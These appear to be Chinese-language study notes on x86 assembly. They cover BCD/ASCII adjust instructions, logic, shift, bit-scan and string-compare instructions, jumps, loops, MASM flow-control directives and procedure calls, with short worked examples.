示例 :计算 BCD 95 - 48 (期望结果:47)
MOV AL, 95H ; AL = 0x95 (十进制 95)
SUB AL, 48H ; AL = 0x4D, AF = 1 (5不够减8,产生借位)
DAS ; 0xD大于9且AF=1,调整低4位,减06H,变为0x47。
; 高4位4<9且CF=0,不用调整。最终结果 AL=47H
ASCII Arithmetic¶
ASCII 算术指令专用于操作编码数字(即 0–9 表示为 30H 到 39H)。
- ASCII 算术常用的四条指令为:
- AAA(加法后 ASCII 调整,ASCII Adjust after Addition)
- AAS(减法后 ASCII 调整,ASCII Adjust after Subtraction)
- AAM(乘法后 ASCII 调整,ASCII Adjust after Multiplication)
- AAD(除法前 ASCII 调整,ASCII Adjust before Division)
- 这些指令均使用寄存器 AX 作为操作数的来源及结果保存寄存器。
AAA Instruction¶
AAA 指令用于在使用 ADD 指令对两个未压缩(unpacked)BCD 数字相加后进行调整。
- AAA 指令隐式地使用 AL 寄存器作为源和目标操作数。
- AAA 指令会将 AL 中的结果调整为合法的未压缩 BCD 值。
- AAA 指令在处理 ASCII 数字加法时,无需额外屏蔽高 4 位 ‘3’,可直接获得正确的结果。
Note
与DAS关注整个AL不同,AAA 指令主要检查 AL 寄存器的低 4 位以及辅助进位标志(AF)。其调整逻辑如下:
- 触发条件:如果 AL 的低 4 位(低半字节)大于 9,或者 AF = 1。
- 动作:AL 加上 06H。AH 加上 01H(产生向高位的进位)。设置 AF = 1 且 CF = 1。最后将 AL 的高 4 位清零(只保留低 4 位的有效 BCD 码)。
- 不满足条件时:如果低 4 位 \(\le 9\) 且 AF = 0,则只需将 AL 的高 4 位清零,且 AF 和 CF 清零。
AAS Instruction (ASCII Adjust AL after Subtraction)¶
AAS 指令用于在使用 SUB 或 SBB 指令对两个未压缩(unpacked)BCD 数字相减后进行调整。
- AAS 指令隐式地使用 AL 寄存器作为源和目标操作数。
- AAS 会将 AL 中的结果调整为合法的未压缩 BCD 值(0-9 之间)。
- 与 AAA 类似,它常用于处理 ASCII 码减法后的结果修正。
Note
其调整逻辑如下:
- 触发条件:如果 AL 的低 4 位大于 9,或者辅助进位标志 AF = 1。
- 动作:AL 减去 06H。 AH 减去 01H(产生向高位的借位)。 设置 AF = 1 且 CF = 1。 最后将 AL 的高 4 位清零。
- 不满足条件时:如果低 4 位 且 AF = 0,则只需将 AL 的高 4 位清零,且 AF 和 CF 清零。
MOV AH, 01H ; 高位为 1
MOV AL, 38H ; AL = '8' (ASCII 38H)
SUB AL, 39H ; AL = 0xFF, AF = 1 (二进制减法产生借位)
AAS ; 触发条件:AF=1
; 动作:AL = 0xFF - 6 = 0xF9
; AH = 01H - 1 = 00H
; CF = 1, AF = 1
; AL 高 4 位清零 -> AL = 09H
; 最终结果:AH = 00H, AL = 09H, CF = 1。表示结果为 9,且向更高位借位 1。
AAM Instruction (ASCII Adjust AX after Multiply)¶
转成10进制 AAM 指令用于在使用 MUL 指令对两个未压缩 BCD 数字进行乘法运算后进行调整。
- AAM 指令隐式地使用 AX 寄存器。
- 与加减法指令不同,AAM 必须在 MUL 指令 之后 执行。
- 它将二进制乘积转换成两个未压缩的 BCD 数字,分别存放在 AH(十位)和 AL(个位)中。
Note
其调整逻辑如下:
- 动作:将 AL 的内容除以 10(即 0AH)。
- 结果分配:商(Quotient)存入 AH。 余数(Remainder)存入 AL。
- 标志位:根据 AL 的结果更新偏置标志(SF)、零标志(ZF)和奇偶标志(PF)。
MOV AL, 07H ; 未压缩 BCD 7
MOV BL, 09H ; 未压缩 BCD 9
MUL BL ; AL = 7 * 9 = 63 (二进制为 3FH)
AAM ; 动作:AL(63) / 10
; 商 = 6 (存入 AH)
; 余数 = 3 (存入 AL)
; 最终结果:AH = 06H, AL = 03H。即十进制 63。
AAD Instruction (ASCII Adjust AX before Division)¶
从10进制转成除法前的值
AAD 指令用于在使用 DIV 指令对两个未压缩 BCD 数字进行除法运算 之前 进行调整。
- AAD 指令是唯一一个在运算 之前 使用的调整指令。
- 它将 AH 和 AL 中的两个未压缩 BCD 数字合并为一个二进制数存入 AL,以便后续执行正常的二进制除法。
Note
其调整逻辑如下:
- 动作:将 AH 的值乘以 10(0AH),然后加上 AL 的值。
- 结果分配:将最终的求和结果存入 AL。 将 AH 清零(00H)。
- 标志位:根据 AL 的结果更新 SF、ZF 和 PF 标志。
MOV AH, 02H ; 十位为 2
MOV AL, 05H ; 个位为 5 (AX = 0205H,代表 25)
MOV BL, 05H ; 除数为 5
AAD ; 动作:AL = (AH * 10) + AL = (2 * 10) + 5 = 25 (19H)
; AH = 00H
DIV BL ; 执行 25 / 5
; AL = 商 (05H)
; AH = 余数 (00H)
; 最终结果:AL = 05H。计算正确。
Summary
| 指令 | 调整时机 | 核心逻辑简述 | 目标格式 |
|---|---|---|---|
| AAA | 加法后 | 低位 >9 或 AF=1 则 AL+6, AH+1 | Unpacked BCD |
| AAS | 减法后 | 低位 >9 或 AF=1 则 AL-6, AH-1 | Unpacked BCD |
| AAM | 乘法后 | AX / 10 AH=商, AL=余 | Unpacked BCD |
| AAD | 除法前 | (AH * 10) + AL AL, AH=0 | Binary |
Basic Logic Instructions¶
简单的有
- AND: AND A,B; A=A&B
- OR: OR A,B; A=A|B
- XOR: XOR A,B; A=A^B
TEST and Bit Test Instructions¶
TEST 指令执行按位与(AND)操作,
- 只影响标志寄存器(flag register)的状态,用于反映测试结果;
- 功能上类似于 CMP(比较)指令,也是不保存结果,只修改标志位;
- 通常后面会跟 JZ(零则跳转)或 JNZ(非零跳转)等条件跳转指令;
- 目的操作数通常用来与立即数进行测试。
CMP 和 TEST 是常用的比较指令,通常用于条件判断,例如:
TEST same,same 用于判断带符号数是否大于零,例如:
TEST EAX,EAX 几乎与 CMP EAX, 0 相同,只是更短。
80386 到 Pentium 4 增加了四条额外的测试指令,用于测试单个位。
它们的主要功能是检查操作数中特定位(Bit)的状态,并将其反映在 进位标志位 CF 中。
它们的区别在于:在测试完该位后,是否对其进行后续操作(如置 1、清 0 或翻转)。
这四条指令都遵循相同的基本逻辑 首先将指定位置的位值复制到 CF 标志位,然后根据指令类型决定是否修改原位。
| 指令 | 全称 | 功能描述 | 对原位的影响 |
|---|---|---|---|
| BT | Bit Test | 测试指定位,将其值存入 CF。 | 无影响(只读) |
| BTS | Bit Test and Set | 测试并将位值存入 CF,随后将该位置 1。 | 置 1 |
| BTR | Bit Test and Reset | 测试并将位值存入 CF,随后将该位置 0。 | 清 0 |
| BTC | Bit Test and Complement | 测试并将位值存入 CF,随后将该位**翻转**。 | 取反 (0\(\to\to\)0) |
Example
假设初始状态下:EAX = 0000 1000H (二进制第 12 位为 1,其余为 0)。
示例 1:BT (仅测试)
示例 2:BTS (测试并置位)
示例 3:BTR (测试并复位)
示例 4:BTC (测试并翻转)
NOT and NEG¶
NOT 和 NEG 指令可以使用除段寄存器寻址外的任何寻址方式。
- NOT 指令会翻转一个字节、字、或双字的所有位。
- NEG 指令对一个数取二进制补码(求相反数)。
- NOT 是逻辑操作,而 NEG 被视为算术操作。
- NOT 指令不会影响任何标志位,但 NEG 指令会影响标志位,具体如下:
- 如果操作数为 0,则 CF = 0,否则 CF = 1。
- OF、SF、ZF、AF 和 PF 标志位根据结果设置。
传统的 signum 函数需要两次 if-else 判断(判断是否大于 0 或小于 0),这会导致 CPU 的分支预测失败风险。优化后的代码仅用了三条指令:cwd、neg、adc。
cwd:将ax的符号位扩展到dx。- 如果
ax > 0,则dx = 0。 - 如果
ax < 0,则dx = -1(即0xFFFF)。 -
如果
ax = 0,则dx = 0。 -
NEG指令执行取反码操作,其副作用是:只要操作数不是 0,就会将进位标志位 CF 设置为 1;如果操作数是 0,则 CF = 0。 -
adc dx, dx:带进位的加法,执行dx = dx + dx + CF。
Shift¶
在寄存器或内存位置中,将数字向左或向右移动或移位, 例如,SHL AX, 4。 此外,还可用于实现简单的算术运算,如通过左移(SHL)实现乘以2的n次方, 通过右移(SHR)实现除以2的n次方。 微处理器指令集包含四种不同的移位指令:其中两种是逻辑移位,两种是算术移位。
SHL/SAL/SHR/SAR REG/MEM, Count
- SHL: Shift Left Logical
- SAL: Shift Arithmetic Left
- SHR: Shift Right Logical,右移高位补0
- SAR: Shift Arithmetic Right,右移高位补符号位
注意移出来的会在CF中buffer一位。计数操作数可以是立即数,也可以是 CL 寄存器。
SAR rounding for negative
对于负数,IDIV(有符号除法)得到的商是朝零取整,而SAR(算术右移)则是朝负无穷取整,这会导致两者结果不一致。例如:
80386及以上的处理器包含了两种双精度移位指令:SHLD(逻辑左移)和SHRD(逻辑右移),本质上属于跨寄存器移位操作。
- 每条指令包含三个操作数(SHLD/SHRD D, S, Count),而不是两个。
- 例如,指令
SHLD reg1, reg2, imm8会先将 reg1 和 reg2 级联为一个更大的数,然后整体向左移动 imm8 位。 - 这两条指令既可以用于两组 16、32 或 64 位的寄存器
- 也可以用于一个 16、32 或 64 位的内存地址和一个寄存器之间的移位操作。
- reg2的值将会保留不变
可以理解为使用源寄存器来指定目的寄存器在移位时要进来的bit是什么
Rotate¶
通过循环移位,可以在寄存器或内存位置中移动二进制数据,即将信息从一端移到另一端,或通过进位标志(CF)参与移位。
ROL/ROR/RCL/RCR REG/MEM, Count
- 这类指令可选择向左或向右循环移位。
- 其中,循环左移(ROL)和循环右移(ROR)不会将CF标志参与到旋转中。
- 通过进位循环左移(RCL)和通过进位循环右移(RCR)则会将CF标志移入最高位或最低位。
当CF不参与循环移位的时候,同样作为一个buffer位。
循环移位的计数值可以是立即数,也可以存放在CL寄存器中。 - 如果使用CL寄存器作为移位计数,CL本身的值不会发生改变。
Bit Scan Instructions¶
遍历一个数,查找其中的1位(bit)。
- 通过移位操作实现
- 该指令可用于80386至Pentium 4处理器
- BSF(位扫描正向):从最低有效位(右侧)向左扫描源操作数,查找第一个为1的bit。
- BSR(位扫描反向):从最高有效位(左侧)向右扫描源操作数,查找第一个为1的bit。
- 指令格式:BSF/BSR REG, REG/MEM
- 如果未找到1位,则零标志(ZF)被置位(ZF = 1)
- 如果找到1位,则零标志被清零(ZF = 0),且该1位所在的位置编号被写入目标操作数中
Example
For example, let EAX = 60000000H = 0110 0000 0000 0000 0000 0000 0000 0000B
从0开始还是从31开始的区别.
BSF 和 BSR 指令的扩展指令:
TZCNT(trailing zero count,尾部零计数):统计操作数末尾连续零的位数。LZCNT(leading zero count,前导零计数):统计操作数前端(高位)连续零的位数。
TZCNT/LZCNT 与 BSF/BSR 的主要区别如下:
- 如果源操作数为 0(即没有1位),BSF/BSR 的目标操作数内容未定义,而 TZCNT/LZCNT 则返回操作数的位宽作为结果。
- 当源操作数为 0 时,BSF/BSR 仅影响 ZF 标志;而 TZCNT/LZCNT 会同时设置 ZF 和 CF(ZF = 1,CF = 1),否则都清零。
例如,假设 EAX = 60000000H = 0110 0000 0000 0000 0000 0000 0000 0000B:
- LZCNT EBX,EAX
- EBX = 1(1 个前导零)
- ZF = 0, CF = 0
- BSR EBX,EAX
- EBX = 30(第 30 位为 1)
- ZF = 0
String Comparisons¶
SCAS¶
SCAS(Scan String)指令用于将内存操作数指定的字节、字、双字或四字与 AL、AX 或 EAX 中的值进行比较,并根据比较结果设置 EFLAGS 标志位。
- 内存操作数的地址由 ES:EDI(或 ES:DI,依当前操作数地址大小而定)确定。
- 需要比较的操作数位于 AL、AX 或 EAX 寄存器中(隐含操作数)。
- 操作数的大小可以通过以下指令选择:
- SCASB(字节比较)
- SCASW(字比较)
- SCASD(双字比较)
- SCAS 指令使用方向标志(D)来决定 DI/EDI 是自动递增还是自动递减。
- SCAS 可以与条件重复前缀一起使用:
- REPE(当相等时重复,Repeat while Equal)
- REPNE(当不相等时重复,Repeat while Not Equal)
假设有一段长度为 100 字节、起始地址为 BLOCK 的内存区域,需要检测这一区域中是否存在值为 00H 的位置。以下程序演示如何使用 SCASB 指令在该内存区域中查找 00H。
SCASB 指令结束后:
- 如果 ZF = 1,则说明某个位置包含 00H。
- 如果 CX = 0 且 ZF = 0,则说明所有数据都不等于 00H。
CMPS¶
CMPS(Compare String)指令总是以字节(CMPSB)、字(CMPSW)或双字(CMPSD)为单位,对两段内存数据进行比较。
- 比较的数据分别位于由 SI/ESI 指向的数据段(DS)内存位置,以及由 DI/EDI 指向的附加段(ES)内存位置。
- CMPS 指令执行完后会自动递增或递减 SI/ESI 和 DI/EDI 寄存器。
- 通常与 REPE(当相等时重复)或 REPNE(当不相等时重复)前缀结合使用。
- 其中 REPE 也称为 REPZ(零时重复),REPNE 也称为 REPNZ(非零时重复)。
下面的例子通过比较两段内存,查找它们是否有匹配的部分。
CMPSB 指令配合 REPE 前缀使用时,会在比较结果相等的情况下持续比较两个字符串。
- 当 CX 寄存器变为 0 或出现不相等的情况时,CMPSB 指令停止执行。
- 在 CMPSB 指令结束后:
- 如果 CX = 0 且 ZF = 1,说明两个字符串完全相同。
- 如果 CX ≠ 0 或 CX=0 但 ZF = 0,说明字符串不完全相同。
-
乐观锁(Optimistic Locking)是一种并发控制机制,它假设多个线程在访问共享资源时不会发生冲突,因此不需要加锁。当线程需要更新共享资源时,它首先读取资源,然后进行修改,最后再写回资源。如果在写回过程中发现资源已经被其他线程修改,则线程需要重新读取资源,并再次尝试修改。 ↩
Program control Instructions¶
约 11190 个字 22 行代码 45 张图片 预计阅读时间 39 分钟
The Jump Group¶
允许程序员跳过程序部分,并通过无条件或有条件跳转指令,将下一条指令的执行转移到内存的任意位置。
- 有条件跳转指令允许基于数值测试进行决策。
- 测试的结果存放在标志位中,条件跳转指令会对标志位进行检测。
- LOOP 和条件LOOP也是跳转指令的一种形式。
JMP¶
- 分三种类型:Short Jump、Near Jump和Far Jump。
- Short Jump是一条2字节指令,允许跳转(或分支)到距离跳转指令之后+127到-128字节的内存地址。
- Near Jump是一条3字节指令,允许在当前代码段内,距指令±32K字节范围内进行跳转或分支。
- Far Jump是一条5字节指令,允许跳转到实模式内存系统中的任意内存位置。
- Short Jump和Near Jump通常称为段内跳转(intrasegment jumps)。
- Far Jump称为段间跳转(intersegment jumps)。
Short Jump¶
- 格式:JMP SHORT
- 示例:JMP SHORT 100
称为Relative Jump,是因为与相关软件一起,这类跳转可以被移动到当前代码段的任意位置而无需更改。
- 跳转地址并不与操作码一起存储。
- 在操作码后面跟随一个距离值(位移)。
- 短跳转的位移以1字节有符号数表示,取值范围为+127到-128。
当微处理器执行短跳转时,位移值会被符号扩展并加到指令指针(IP/EIP)上,以生成当前代码段内的跳转地址。指令将跳转到这个新地址,执行程序中的下一条指令。
- 当跳转指令引用一个地址时,通常使用标签来标识该地址。
- JMP NEXT 指令就是一个例子。
- 它跳转到标签 NEXT 处执行下一条指令
- 在任何跳转指令中使用实际的十六进制地址是非常罕见的
- 标签 NEXT 后面必须跟一个冒号(NEXT:),才能让指令引用它
- 如果后面没有冒号,就无法跳转到该标签
- 只有当标签与跳转或调用指令一起使用时,才需要使用冒号。
Near Jump¶
在实模式下,近跳转是一条3字节指令,操作码后跟一个有符号的16位位移量。
- 近跳转将控制权传递给当前代码段内的一条指令,该指令位于近跳转指令的±32K字节范围内。
- 80386 - Pentium 4 的位移量是32位,近跳转为5字节长。
-
在保护模式下,80386及更高版本的跳转距离为±2G。
-
有符号位移量加到指令指针(IP)上以生成跳转地址。
- 由于有符号位移量为±32K,近跳转可以跳转到当前实模式代码段内的任意内存位置。
- 80386及更高版本的保护模式代码段可达4G字节长。
- 32位位移量允许近跳转到±2G字节范围内的任意位置。
下图展示了实模式近跳转指令的操作方式。
近跳转也是可重定位1的,因为它也是相对跳转。
- 这一特性,加上可重定位的数据段,使Intel微处理器非常适合在通用计算机系统中使用。
- 由于相对跳转和可重定位数据段的存在,软件可以被编写并加载到内存的任何位置,无需修改即可正常运行。
Example
以下示例展示了一个包含近跳转的程序。
- 第一条跳转指令(JMP NEXT)将控制权传递给代码段内偏移地址为0200H处的指令。
- 注意该指令汇编后为 E9 0200 R。字母 R 表示0200H是一个可重定位的跳转地址。
- 链接后,跳转指令显示为 E9 F6 01(01F6H是实际的位移量)。
Far Jump¶
远跳转通过获取一个新的段地址和偏移地址来完成跳转。
- 在实模式下,它是一条5字节指令
- 第2和第3字节包含新的偏移地址
- 第4和第5字节包含新的段地址
- 在保护模式下
- 段地址用于访问一个描述符,该描述符包含远跳转段的基地址
- 偏移地址(16位或32位)包含新代码段内的偏移地址
实现远跳转有两种方式:
- 使用 FAR PTR 指令,例如
JMP FAR PTR START - 定义一个远标签,例如
EXTRN START:FAR
标签只有在当前代码段或过程的外部时才是远标签。外部标签出现在包含多个程序文件的程序中。
定义一个可以从过程块外部访问的远标签有两种方式:
- 使用 EXTRN 指令,例如 EXTRN START:FAR
- 使用双冒号,例如 START::
Example
例如,当标签 UP 通过 EXTRN UP:FAR 指令定义为远标签时,JMP UP 指令就引用了一个远标签。
当程序文件被链接在一起时,链接器会将 UP 标签的地址插入到 JMP UP 指令中。同样,链接器也会将段地址插入到 JMP START 指令中。
Jumps with Register Operands¶
跳转指令也可以使用16位或32位寄存器作为操作数。
- 这会自动设置为绝对间接跳转
- 跳转地址存储在跳转指令指定的寄存器中
与近跳转相关的位移量不同,寄存器内容会直接传送到指令指针中。
绝对间接跳转不会对指令指针进行加法运算。
例如,JMP AX 将AX寄存器的内容复制到IP中。
- 这允许跳转到当前代码段内的任意位置
在80386及更高版本中,JMP EAX 也可以跳转到当前代码段内的任意位置:
- 在保护模式下,代码段可以长达4GB,因此需要32位偏移地址
Indirect Jumps Using an Index¶
跳转指令也可以使用 [ ] 形式的寻址方式(例如 JMP TABLE [SI])来直接访问跳转表。
- 跳转表可以包含用于近间接跳转的偏移地址,或用于远间接跳转的段地址和偏移地址。
- 如果将寄存器跳转称为间接跳转,那么这种方式也被称为双重间接跳转
- 汇编器假定跳转为近跳转,除非使用 FAR PTR 指令指示这是一条远跳转指令。
访问跳转表的机制与普通内存引用相同。
JMP TABLE [SI]指令指向存储在数据段偏移位置(由 SI 寻址)的跳转地址
寄存器跳转和间接索引跳转指令通常都寻址16位偏移量。
- 这两种类型的跳转都是近跳转
Note
如果使用 JMP FAR PTR [SI] 或 JMP TABLE [SI],且 TABLE 数据使用 DD 指令定义:微处理器假定跳转表包含双字、32位地址(IP 和 CS)
这里的意思是:
- 当使用
JMP FAR PTR [SI]时,明确指示这是一个远跳转 - 当 TABLE 使用
DD(Define Double Word,定义双字)指令声明时,每个表项占用4个字节 - 这4个字节包含完整的远地址:低2字节是偏移地址(存入IP),高2字节是段地址(存入CS)
- 因此微处理器会从跳转表中读取32位数据,将其作为 段:偏移 格式的远跳转目标地址
Conditional Jumps and Conditional Sets¶
在 8086 – 80286 中,条件跳转指令始终是短跳转。
- 范围限制在条件跳转指令之后的 +127 到 –128 字节之内
在 80386 及更高版本中,条件跳转可以是短跳转或近跳转(±32K)。
- 在 Pentium 4 的 64 位模式下,条件跳转的近跳转距离为 ±2G
- 这允许条件跳转到当前代码段内的任意位置
条件跳转指令测试标志位:
- 符号位(S)、零标志位(Z)、进位标志位(C)
- 奇偶标志位(P)、溢出标志位(O)
如果测试条件为真,则跳转到标签处。
如果为假,则执行程序的下一条顺序指令。
例如,如果进位位被设置,JC 将会跳转。
尽管有些指令会测试多个标志位,大多数条件跳转指令都很直接,因为它们通常只测试一个标志位。
Example
如何比较有符号值和无符号值?例如,当比较 -1(0xFF)和 1(0x01)时,-1 看起来更大。
有符号比较和无符号比较是相同的。关键在于你如何解释标志位。
MOV EAX, -1 ; EAX = 0xFFFFFFFF (-1 的补码表示)
CMP EAX, 1 ; 计算 EAX - 1 = 0xFFFFFFFF - 1 = 0xFFFFFFFE
; 结果标志位: Z=0 (结果非零), C=0 (无借位), S=1 (结果为负), O=0 (无溢出)
JA LABEL ; JA (Jump if Above) 用于无符号比较
; 跳转条件: Z=0 且 C=0
; 由于 C=0 且 Z=0,条件满足,会跳转到 LABEL
; 这说明在无符号比较中,0xFFFFFFFF (4294967295) > 1
-
无符号比较 (JA/JB 等) :使用进位标志 C 和零标志 Z
JA(Jump if Above):当 C=0 且 Z=0 时跳转(无符号大于)JB(Jump if Below):当 C=1 时跳转(无符号小于)
-
有符号比较 (JG/JL 等):使用符号标志 S、溢出标志 O 和零标志 Z
JG(Jump if Greater):当 Z=0 且 S=O 时跳转(有符号大于)JL(Jump if Less):当 S≠O 时跳转(有符号小于)
在上例中,如果改用 JG LABEL(有符号比较):
- 跳转条件:Z=0 且 S=O
- 实际情况:Z=0, S=1, O=0,由于 S≠O,不会跳转
由于编程中同时使用有符号数和无符号数,且这两种数的排列顺序不同,因此存在两套用于大小比较的条件跳转指令。
下图展示了有符号和无符号 8 位数字的排列顺序。
当比较无符号数时,使用 JA、JB、JAE、JBE、JE 和 JNE 指令。
- 术语 "above"和 "below"指的是无符号数
当比较有符号数时,使用 JG、JL、JGE、JLE、JE 和 JNE 指令。
- 术语 "greater than"和 "less than"指的是有符号数
Info
所有指令都有替代形式,但许多在编程中并不常用,因为它们通常不适合被测试的条件。例如,JA(Jump if Above)可以用 JNBE(Jump if Not Below or Equal)替代,两者功能完全相同,只是助记符不同。
除了 JCXZ(当 CX = 0 时跳转)和 JECXZ(当 ECX = 0 时跳转)之外,所有条件跳转指令都是通过测试标志位来工作的。
JCXZ 不测试标志位,而是直接测试 CX 寄存器的内容,且不影响标志位;JECXZ 则测试 ECX 寄存器的内容。
对于 JCXZ 指令:
- 如果 CX = 0,则发生跳转
- 如果 CX != 0,则不跳转
对于 JECXZ 指令同理:如果 ECX = 0,则发生跳转;如果 ECX != 0,则不跳转。
The Conditional Set Instructions¶
80386 至 Core2 处理器还包含条件设置指令。
-
条件设置字节指令(SETcc) 会检查 EFLAGS 寄存器中的状态标志位。
- 如果标志位满足助记符(cc)指定的条件,则将指定的 8 位内存位置或寄存器设置为 1。
- 如果标志位不满足指定条件,SETcc 会将该内存位置或寄存器清零为 0。
-
例如,
SETC EAX:- 如果进位标志被设置,EAX = 01H
- 如果进位标志被清除,EAX = 00H
-
EAX 的内容可以在程序的后续位置进行测试,以确定在执行
SETC EAX指令时进位标志是否被清除。 -
条件设置指令在需要在程序中较后位置测试某个条件时非常有用。
Example
LOOP¶
LOOP 指令使用 RCX/ECX/CX 作为计数器执行循环操作。
-
LOOP 指令等价于:
SUB RCX/ECX/CX, 1JNZ label
-
每次执行 LOOP 指令时,计数器会递减,然后检查是否为 0:
- 如果 CX != 0,则执行近跳转到标签处
- 如果 CX 变为 0,则执行下一条指令
-
LOOP 指令不影响任何标志位。
-
在 16 位指令模式下,LOOP 使用 CX;在 32 位模式下,LOOP 使用 ECX。
-
在 64 位模式下,循环计数器位于 RCX 中,宽度为 64 位。
-
所使用的计数寄存器大小(CX、ECX 或 RCX)取决于 LOOP 指令的地址大小属性。
BLOCK2 = BLOCK2 + BLOCK1
Conditional Loops¶
LOOP 指令还有条件形式:LOOPE 和 LOOPNE
语法:
LOOPE destinationLOOPNE destination
LOOPE(相等时循环)指令:
- 接受 ZF 标志作为在计数到达零之前终止循环的条件。
- 当条件不相等或 CX 寄存器递减到 0 时退出循环。
LOOPNE(不相等时循环)指令:
- 当 CX != 0 且存在不相等条件时跳转。
- 当条件相等或 CX 寄存器递减到 0 时退出循环。
用途:
- LOOPE 在扫描数组以查找第一个与给定值不匹配的元素时很有用。
- LOOPNE 在扫描数组以查找第一个与给定值匹配的元素时很有用。
- LOOPE 和 LOOPNE 指令不影响任何标志位。
处理器差异:
- 在 80386 - Core2 处理器中,条件 LOOP 可以使用 CX 或 ECX 作为计数器。
- 如果需要,LOOPEW/LOOPED 或 LOOPNEW/LOOPNED 可以覆盖指令模式。
- 在 64 位操作下,循环计数器使用 RCX,宽度为 64 位。
替代形式:
- LOOPE 与 LOOPZ 相同
- LOOPNE 与 LOOPNZ 相同
在大多数程序中,只使用 LOOPE 和 LOOPNE。
Example
TEST指令直接比较[ESI]处的符号位,如果是负数,符号位为1,test出来不为零,Z=0,继续LOOP,当遇到正数,符号位为0,test出来为零,Z=1,LOOPNZ退出循环。
For & Do-While & While
- Do-While 循环:先执行循环体,再判断条件,直接使用jcc
- While 循环:先判断条件,再执行循环体,使用 double jump来判断第一次循环,然后就变成do-while循环。
- For 循环:先判断条件,再执行循环体,循环体末尾改变计数器,使用 double jump,与while类似
CONTROLLING THE FLOW OF THE PROGRAM¶
使用汇编语言伪指令 .IF、.ELSE、.ELSEIF 和 .ENDIF 来控制程序流程比使用正确的条件跳转语句要容易得多。
- 这些语句始终表示 MASM 的特殊汇编语言命令
- 以点开头的控制流汇编语言语句仅适用于 MASM 6.xx 及更高版本,不适用于早期版本
其他开发的伪指令包括 .REPEAT–.UNTIL 和 .WHILE–.ENDW。
这些点命令在 Visual C++ 内联汇编器中不起作用,在使用内联汇编器时,永远不要使用大写字母编写汇编语言命令。其中一些是 C++ 的保留字,会导致问题
| 类别 | 伪指令 |
|---|---|
| 条件判断 | .IF, .ENDIF, .ELSE, .ELSEIF |
| While 循环 | .WHILE, .ENDW |
| Repeat 循环 | .REPEAT, .UNTIL, .UNTILCXZ |
| 循环控制 | .BREAK, .CONTINUE |
| 运算符 | 描述 | 运算符 | 描述 |
|---|---|---|---|
| ! | 逻辑非 (logical not) | <= | 小于等于 (less or equal) |
| != | 不等于 (not equal) | == | 等于 (equal) |
| || | 逻辑或 (logical or) | > | 大于 (greater than) |
| && | 逻辑与 (logical and) | >= | 大于等于 (greater or equal) |
| < | 小于 (less than) | & | 按位与 (bitwise and) |
| 标志位测试 | 描述 |
|---|---|
| CARRY? | 进位测试 (carry test) |
| PARITY? | 奇偶测试 (parity test) |
| SIGN? | 符号测试 (sign test) |
| ZERO? | 零测试 (zero test) |
| OVERFLOW? | 溢出测试 (overflow test) |
Example
该示例展示了如何使用 .IF 和 .ENDIF 语句通过测试 AL 中的 ASCII 字母 A 到 F 来控制程序流程。如果 AL 的内容是 A 到 F,则从 AL 中减去 7。
如果不使用directives
使用directives
WHILE LOOPS¶
.WHILE语句与条件一起使用来开始循环。.ENDW语句结束循环
.BREAK和.CONTINUE语句可用于 while 循环。.BREAK通常后跟.IF来选择中断条件,如.BREAK .IF AL == 0DH.CONTINUE可用于在满足特定条件时允许DO–.WHILE循环继续执行
.BREAK和.CONTINUE命令的功能与 C++ 中相同。
Example
以下示例展示了如何使用 .WHILE 语句从键盘读取数据并存储到数组 (BUF) 中,直到按下回车键 (0DH)。
*号的行展示了.REPEAT和.UNTIL指令在汇编后的实际代码:
STOSB:将 AL 中的字符存储到 ES:DI 指向的位置,并自动递增 DIMOV BYTE PTR[DI-1], '$':用$替换回车符,因为 DOS 的 INT 21H 功能 9 需要以$作为字符串结束符MOV DX, OFFSET BUF:将缓冲区地址加载到 DXMOV AH, 9和INT 21H:调用 DOS 中断显示字符串
REPEAT-UNTIL Loops¶
- 一系列指令重复执行,直到某个条件发生。
.REPEAT语句定义循环的开始。- 循环的结束由
.UNTIL语句定义,该语句包含一个条件。 .UNTILCXZ指令使用 LOOP 指令来检查 CX 以实现重复循环。.UNTILCXZ使用 CX 寄存器作为计数器,以固定次数重复循环
Example
以下示例展示了如何使用 REPEAT-UNTIL 从键盘读取数据并存储到数组 (BUF) 中,直到按下回车键 (0DH)
*号的行展示了.REPEAT和.UNTIL指令在汇编后的实际代码:
以下代码使用 .UNTILCXZ 将字节数组 ONE 的内容与字节数组 TWO 相加。求和结果存储在数组 THREE 中。
PROCEDURES¶
- 过程(Procedure)是一组通常执行单一任务的指令。
- 子程序(subroutine)、方法(method)或函数(function)是任何系统架构的重要组成部分
- 过程是存储在内存中一次、可根据需要多次使用的可重用软件段。
- 节省内存空间,使软件开发更加容易
- 过程以
PROC伪指令开始,以ENDP伪指令结束。- 每个伪指令都与过程名称一起出现
PROC后跟过程的类型:NEAR或FAR
- 在 MASM 6.x 版本中,
NEAR或FAR类型后可以跟USES语句。USES允许在过程中自动将任意数量的寄存器压入堆栈,并在过程结束时从堆栈中弹出
RET用于完成或退出过程。
- 需要被所有软件使用的过程(global)应该写成 FAR 过程。
- 仅被特定任务使用的过程(local)通常定义为 NEAR 过程。
- 大多数过程都是 NEAR 过程。
CALL¶
将程序流程转移到过程中。
- CALL 指令与跳转指令不同,因为 CALL 会在堆栈上保存一个返回地址。
-
当 RET 指令执行时,返回地址将控制权返回给 CALL 之后的指令。
-
有四种不同类型的调用:
- Near Call(段内调用):调用当前代码段内的过程。
- Far Call(段间调用):调用位于与当前代码段不同的段中的过程。
- Inter-privilege-level Far Call:远调用到与当前执行程序不同特权级的段中的过程。
- Task Switch:调用位于不同任务中的过程。
- 后两种调用类型只能在保护模式下执行。
Near Call¶
执行近调用时:
- 在执行 CALL 指令之前,将参数压入堆栈(由程序员或编译器完成)。
- 将 EIP 寄存器的值压入堆栈(由 CALL 指令完成)。
- 然后跳转到当前代码段中由目标操作数指定的地址。
- 近调用不会改变 CS 寄存器的值。
目标操作数指定两种类型:
- 相对偏移量:相对于指令指针当前值的有符号位移,指向 CALL 指令后面的指令。
- 绝对偏移量:代码段中的绝对偏移量(从代码段基址开始的偏移量)。
对于"near absolute indirect"调用,绝对偏移量通过寄存器或内存位置间接指定。例如:
对于"near relative direct"调用,它的长度为3字节:
- 第一个字节包含操作码;
- 第二和第三个字节包含位移量。
- 它首先将下一条指令的偏移地址压入堆栈。下一条指令的偏移地址保存在指令指针(IP 或 EIP)中。
- 然后它将第2和第3字节的位移量加到 IP 上,以将控制权转移到过程。
为什么要将 IP 或 EIP 保存到堆栈上?
- 指令指针始终指向程序中的下一条指令。
- 对于 CALL 指令,IP/EIP 的内容被压入堆栈。
- 当过程结束后,程序控制权返回到 CALL 之后的指令。
下图显示了存储在堆栈上的返回地址(IP)以及对过程的调用。
Far Call¶
5字节指令包含一个操作码,后跟 IP 和 CS 寄存器的新值。
